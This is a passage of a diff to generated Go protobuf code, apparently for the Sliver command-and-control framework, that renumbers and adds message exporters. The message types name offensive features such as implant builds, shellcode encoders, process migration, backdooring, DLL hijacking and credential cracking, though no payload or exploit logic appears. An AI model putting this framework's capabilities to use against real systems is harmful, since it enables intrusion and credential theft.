clientpb.Jobs.Active:type_name -> clientpb.Job + 55, // 32: clientpb.ListenerJob.MTLSConf:type_name -> clientpb.MTLSListenerReq + 56, // 33: clientpb.ListenerJob.WGConf:type_name -> clientpb.WGListenerReq + 57, // 34: clientpb.ListenerJob.DNSConf:type_name -> clientpb.DNSListenerReq + 58, // 35: clientpb.ListenerJob.HTTPConf:type_name -> clientpb.HTTPListenerReq + 54, // 36: clientpb.ListenerJob.MultiConf:type_name -> clientpb.MultiplayerListenerReq + 148, // 37: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request + 149, // 38: clientpb.NamedPipes.Response:type_name -> commonpb.Response + 148, // 39: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request + 149, // 40: clientpb.TCPPivot.Response:type_name -> commonpb.Response + 20, // 41: clientpb.Sessions.Sessions:type_name -> clientpb.Session + 26, // 42: clientpb.GenerateReq.Config:type_name -> clientpb.ImplantConfig + 150, // 43: clientpb.Generate.File:type_name -> commonpb.File + 148, // 44: clientpb.MSFReq.Request:type_name -> commonpb.Request + 148, // 45: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request + 1, // 46: clientpb.StagerListenerReq.Protocol:type_name -> clientpb.StageProtocol + 1, // 47: clientpb.MsfStagerReq.Protocol:type_name -> clientpb.StageProtocol + 150, // 48: clientpb.MsfStager.File:type_name -> commonpb.File + 26, // 49: clientpb.GetSystemReq.Config:type_name -> clientpb.ImplantConfig + 148, // 50: clientpb.GetSystemReq.Request:type_name -> commonpb.Request + 26, // 51: clientpb.MigrateReq.Config:type_name -> clientpb.ImplantConfig + 3, // 52: clientpb.MigrateReq.Encoder:type_name -> clientpb.ShellcodeEncoder + 148, // 53: clientpb.MigrateReq.Request:type_name -> commonpb.Request + 148, // 54: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request + 148, // 55: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request + 20, // 56: clientpb.PivotGraphEntry.Session:type_name -> clientpb.Session + 81, // 57: clientpb.PivotGraphEntry.Children:type_name -> clientpb.PivotGraphEntry + 81, // 58: clientpb.PivotGraph.Children:type_name -> clientpb.PivotGraphEntry + 85, // 59: clientpb.Client.Operator:type_name -> clientpb.Operator + 20, // 60: clientpb.Event.Session:type_name -> clientpb.Session + 21, // 61: clientpb.Event.Beacon:type_name -> clientpb.Beacon + 48, // 62: clientpb.Event.Job:type_name -> clientpb.Job + 83, // 63: clientpb.Event.Client:type_name -> clientpb.Client + 141, // 64: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry + 142, // 65: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry + 89, // 66: clientpb.Websites.Websites:type_name -> clientpb.Website + 2, // 67: clientpb.Loot.FileType:type_name -> clientpb.FileType + 150, // 68: clientpb.Loot.File:type_name -> commonpb.File + 92, // 69: clientpb.AllLoot.Loot:type_name -> clientpb.Loot + 94, // 70: clientpb.Host.IOCs:type_name -> clientpb.IOC + 143, // 71: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry + 96, // 72: clientpb.AllHosts.Hosts:type_name -> clientpb.Host + 148, // 73: clientpb.DllHijackReq.Request:type_name -> commonpb.Request + 149, // 74: clientpb.DllHijack.Response:type_name -> commonpb.Response + 148, // 75: clientpb.BackdoorReq.Request:type_name -> commonpb.Request + 149, // 76: clientpb.Backdoor.Response:type_name -> commonpb.Response + 3, // 77: clientpb.ShellcodeEncodeReq.Encoder:type_name -> clientpb.ShellcodeEncoder + 148, // 78: clientpb.ShellcodeEncodeReq.Request:type_name -> commonpb.Request + 149, // 79: clientpb.ShellcodeEncode.Response:type_name -> commonpb.Response + 144, // 80: clientpb.ShellcodeEncoderMap.Encoders:type_name -> clientpb.ShellcodeEncoderMap.EncodersEntry + 26, // 81: clientpb.ExternalGenerateReq.Config:type_name -> clientpb.ImplantConfig + 107, // 82: clientpb.Builders.Builders:type_name -> clientpb.Builder + 36, // 83: clientpb.Builder.Targets:type_name -> clientpb.CompilerTarget + 37, // 84: clientpb.Builder.CrossCompilers:type_name -> clientpb.CrossCompiler + 111, // 85: clientpb.HTTPC2Configs.configs:type_name -> clientpb.HTTPC2Config + 111, // 86: clientpb.HTTPC2ConfigReq.C2Config:type_name -> clientpb.HTTPC2Config + 112, // 87: clientpb.HTTPC2Config.ServerConfig:type_name -> clientpb.HTTPC2ServerConfig + 113, // 88: clientpb.HTTPC2Config.ImplantConfig:type_name -> clientpb.HTTPC2ImplantConfig + 115, // 89: clientpb.HTTPC2ServerConfig.Headers:type_name -> clientpb.HTTPC2Header + 114, // 90: clientpb.HTTPC2ServerConfig.Cookies:type_name -> clientpb.HTTPC2Cookie + 116, // 91: clientpb.HTTPC2ImplantConfig.ExtraURLParameters:type_name -> clientpb.HTTPC2URLParameter + 115, // 92: clientpb.HTTPC2ImplantConfig.Headers:type_name -> clientpb.HTTPC2Header + 117, // 93: clientpb.HTTPC2ImplantConfig.PathSegments:type_name -> clientpb.HTTPC2PathSegment + 4, // 94: clientpb.HTTPC2PathSegment.SegmentType:type_name -> clientpb.HTTPC2SegmentType + 5, // 95: clientpb.Credential.HashType:type_name -> clientpb.HashType + 118, // 96: clientpb.Credentials.Credentials:type_name -> clientpb.Credential + 125, // 97: clientpb.Crackstations.Crackstations:type_name -> clientpb.Crackstation + 6, // 98: clientpb.CrackstationStatus.State:type_name -> clientpb.States + 122, // 99: clientpb.CrackstationStatus.Syncing:type_name -> clientpb.CrackSyncStatus + 145, // 100: clientpb.CrackSyncStatus.Progress:type_name -> clientpb.CrackSyncStatus.ProgressEntry + 146, // 101: clientpb.CrackBenchmark.Benchmarks:type_name -> clientpb.CrackBenchmark.BenchmarksEntry + 129, // 102: clientpb.CrackTask.Command:type_name -> clientpb.CrackCommand + 147, // 103: clientpb.Crackstation.Benchmarks:type_name -> clientpb.Crackstation.BenchmarksEntry + 126, // 104: clientpb.Crackstation.CUDA:type_name -> clientpb.CUDABackendInfo + 128, // 105: clientpb.Crackstation.Metal:type_name -> clientpb.MetalBackendInfo + 127, // 106: clientpb.Crackstation.OpenCL:type_name -> clientpb.OpenCLBackendInfo + 8, // 107: clientpb.CrackCommand.AttackMode:type_name -> clientpb.CrackAttackMode + 5, // 108: clientpb.CrackCommand.HashType:type_name -> clientpb.HashType + 10, // 109: clientpb.CrackCommand.OutfileFormat:type_name -> clientpb.CrackOutfileFormat + 9, // 110: clientpb.CrackCommand.EncodingFrom:type_name -> clientpb.CrackEncoding + 9, // 111: clientpb.CrackCommand.EncodingTo:type_name -> clientpb.CrackEncoding + 11, // 112: clientpb.CrackCommand.WorkloadProfile:type_name -> clientpb.CrackWorkloadProfile + 132, // 113: clientpb.CrackFiles.Files:type_name -> clientpb.CrackFile + 12, // 114: clientpb.CrackFile.Type:type_name -> clientpb.CrackFileType + 133, // 115: clientpb.CrackFile.Chunks:type_name -> clientpb.CrackFileChunk + 135, // 116: clientpb.MonitoringProviders.providers:type_name -> clientpb.MonitoringProvider + 27, // 117: clientpb.TrafficEncoderMap.EncodersEntry.value:type_name -> clientpb.TrafficEncoder + 26, // 118: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig + 136, // 119: clientpb.ImplantBuilds.ResourceIDsEntry.value:type_name -> clientpb.ResourceID + 86, // 120: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent + 86, // 121: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent + 95, // 122: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData + 3, // 123: clientpb.ShellcodeEncoderMap.EncodersEntry.value:type_name -> clientpb.ShellcodeEncoder + 124, // [124:124] is the sub-list for method output_type + 124, // [124:124] is the sub-list for method input_type + 124, // [124:124] is the sub-list for extension type_name + 124, // [124:124] is the sub-list for extension extendee + 0, // [0:124] is the sub-list for field type_name } func init() { file_clientpb_client_proto_init() } @@ -13001,7 +13564,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ClientLogData); i { + switch v := v.(*Users); i { case 0: return &v.state case 1: @@ -13013,6 +13576,66 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*User); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_clientpb_client_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*ClientLogData); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_clientpb_client_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*ImplantCommand); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_clientpb_client_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*HistoryRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_clientpb_client_proto_msgTypes[6].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*History); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_clientpb_client_proto_msgTypes[7].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Session); i { case 0: return &v.state @@ -13024,7 +13647,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[8].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Beacon); i { case 0: return &v.state @@ -13036,7 +13659,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[9].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Beacons); i { case 0: return &v.state @@ -13048,7 +13671,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[10].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*BeaconTask); i { case 0: return &v.state @@ -13060,7 +13683,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[6].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[11].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*BeaconTasks); i { case 0: return &v.state @@ -13072,7 +13695,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[7].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[12].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ImplantC2); i { case 0: return &v.state @@ -13084,7 +13707,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[8].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[13].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ImplantConfig); i { case 0: return &v.state @@ -13096,7 +13719,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[9].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[14].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TrafficEncoder); i { case 0: return &v.state @@ -13108,7 +13731,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[10].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[15].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TrafficEncoderMap); i { case 0: return &v.state @@ -13120,7 +13743,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[11].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[16].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TrafficEncoderTest); i { case 0: return &v.state @@ -13132,7 +13755,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[12].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[17].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TrafficEncoderTests); i { case 0: return &v.state @@ -13144,7 +13767,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[13].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[18].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ExternalImplantConfig); i { case 0: return &v.state @@ -13156,7 +13779,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[14].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[19].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ExternalImplantBinary); i { case 0: return &v.state @@ -13168,7 +13791,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[15].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[20].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ImplantBuilds); i { case 0: return &v.state @@ -13180,7 +13803,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[16].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[21].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ImplantStageReq); i { case 0: return &v.state @@ -13192,7 +13815,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[17].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[22].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ImplantBuild); i { case 0: return &v.state @@ -13204,7 +13827,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[18].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[23].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CompilerTarget); i { case 0: return &v.state @@ -13216,7 +13839,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[19].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[24].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrossCompiler); i { case 0: return &v.state @@ -13228,7 +13851,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[20].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[25].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Compiler); i { case 0: return &v.state @@ -13240,7 +13863,31 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[21].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[26].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*MetasploitModule); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_clientpb_client_proto_msgTypes[27].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*MetasploitCompiler); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_clientpb_client_proto_msgTypes[28].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DeleteReq); i { case 0: return &v.state @@ -13252,7 +13899,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[22].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[29].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DNSCanary); i { case 0: return &v.state @@ -13264,7 +13911,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[23].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[30].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Canaries); i { case 0: return &v.state @@ -13276,7 +13923,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[24].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[31].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*UniqueWGIP); i { case 0: return &v.state @@ -13288,7 +13935,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[25].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[32].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ImplantProfile); i { case 0: return &v.state @@ -13300,7 +13947,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[26].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[33].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ImplantProfiles); i { case 0: return &v.state @@ -13312,7 +13959,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[27].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[34].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*RegenerateReq); i { case 0: return &v.state @@ -13324,7 +13971,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[28].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[35].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Job); i { case 0: return &v.state @@ -13336,7 +13983,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[29].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[36].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Jobs); i { case 0: return &v.state @@ -13348,7 +13995,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[30].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[37].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*KillJobReq); i { case 0: return &v.state @@ -13360,7 +14007,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[31].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[38].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*RestartJobReq); i { case 0: return &v.state @@ -13372,7 +14019,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[32].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[39].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*KillJob); i { case 0: return &v.state @@ -13384,7 +14031,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[33].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[40].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ListenerJob); i { case 0: return &v.state @@ -13396,7 +14043,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[34].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[41].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*MultiplayerListenerReq); i { case 0: return &v.state @@ -13408,7 +14055,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[35].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[42].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*MTLSListenerReq); i { case 0: return &v.state @@ -13420,7 +14067,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[36].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[43].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*WGListenerReq); i { case 0: return &v.state @@ -13432,7 +14079,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[37].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[44].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DNSListenerReq); i { case 0: return &v.state @@ -13444,7 +14091,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[38].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[45].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*HTTPListenerReq); i { case 0: return &v.state @@ -13456,7 +14103,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[39].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[46].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*NamedPipesReq); i { case 0: return &v.state @@ -13468,7 +14115,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[40].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[47].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*NamedPipes); i { case 0: return &v.state @@ -13480,7 +14127,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[41].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[48].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TCPPivotReq); i { case 0: return &v.state @@ -13492,7 +14139,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[42].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[49].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TCPPivot); i { case 0: return &v.state @@ -13504,7 +14151,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[43].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[50].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Sessions); i { case 0: return &v.state @@ -13516,7 +14163,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[44].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[51].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*RenameReq); i { case 0: return &v.state @@ -13528,7 +14175,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[45].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[52].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*GenerateReq); i { case 0: return &v.state @@ -13540,7 +14187,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[46].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[53].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*GenerateStageReq); i { case 0: return &v.state @@ -13552,7 +14199,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[47].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[54].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Generate); i { case 0: return &v.state @@ -13564,7 +14211,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[48].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[55].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*MSFReq); i { case 0: return &v.state @@ -13576,7 +14223,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[49].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[56].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*MSFRemoteReq); i { case 0: return &v.state @@ -13588,7 +14235,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[50].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[57].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*StagerListenerReq); i { case 0: return &v.state @@ -13600,7 +14247,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[51].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[58].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*StagerListener); i { case 0: return &v.state @@ -13612,7 +14259,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[52].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[59].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ShellcodeRDIReq); i { case 0: return &v.state @@ -13624,7 +14271,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[53].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[60].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ShellcodeRDI); i { case 0: return &v.state @@ -13636,7 +14283,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[54].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[61].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*MsfStagerReq); i { case 0: return &v.state @@ -13648,7 +14295,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[55].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[62].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*MsfStager); i { case 0: return &v.state @@ -13660,7 +14307,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[56].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[63].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*GetSystemReq); i { case 0: return &v.state @@ -13672,7 +14319,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[57].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[64].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*MigrateReq); i { case 0: return &v.state @@ -13684,7 +14331,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[58].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[65].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CreateTunnelReq); i { case 0: return &v.state @@ -13696,7 +14343,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[59].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[66].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CreateTunnel); i { case 0: return &v.state @@ -13708,7 +14355,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[60].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[67].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CloseTunnelReq); i { case 0: return &v.state @@ -13720,7 +14367,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[61].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[68].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*PivotGraphEntry); i { case 0: return &v.state @@ -13732,7 +14379,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[62].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[69].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*PivotGraph); i { case 0: return &v.state @@ -13744,7 +14391,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[63].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[70].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Client); i { case 0: return &v.state @@ -13756,7 +14403,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[64].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[71].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Event); i { case 0: return &v.state @@ -13768,19 +14415,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[65].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Operators); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_clientpb_client_proto_msgTypes[66].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[72].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Operator); i { case 0: return &v.state @@ -13792,7 +14427,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[67].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[73].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*WebContent); i { case 0: return &v.state @@ -13804,7 +14439,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[68].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[74].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*WebsiteAddContent); i { case 0: return &v.state @@ -13816,7 +14451,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[69].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[75].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*WebsiteRemoveContent); i { case 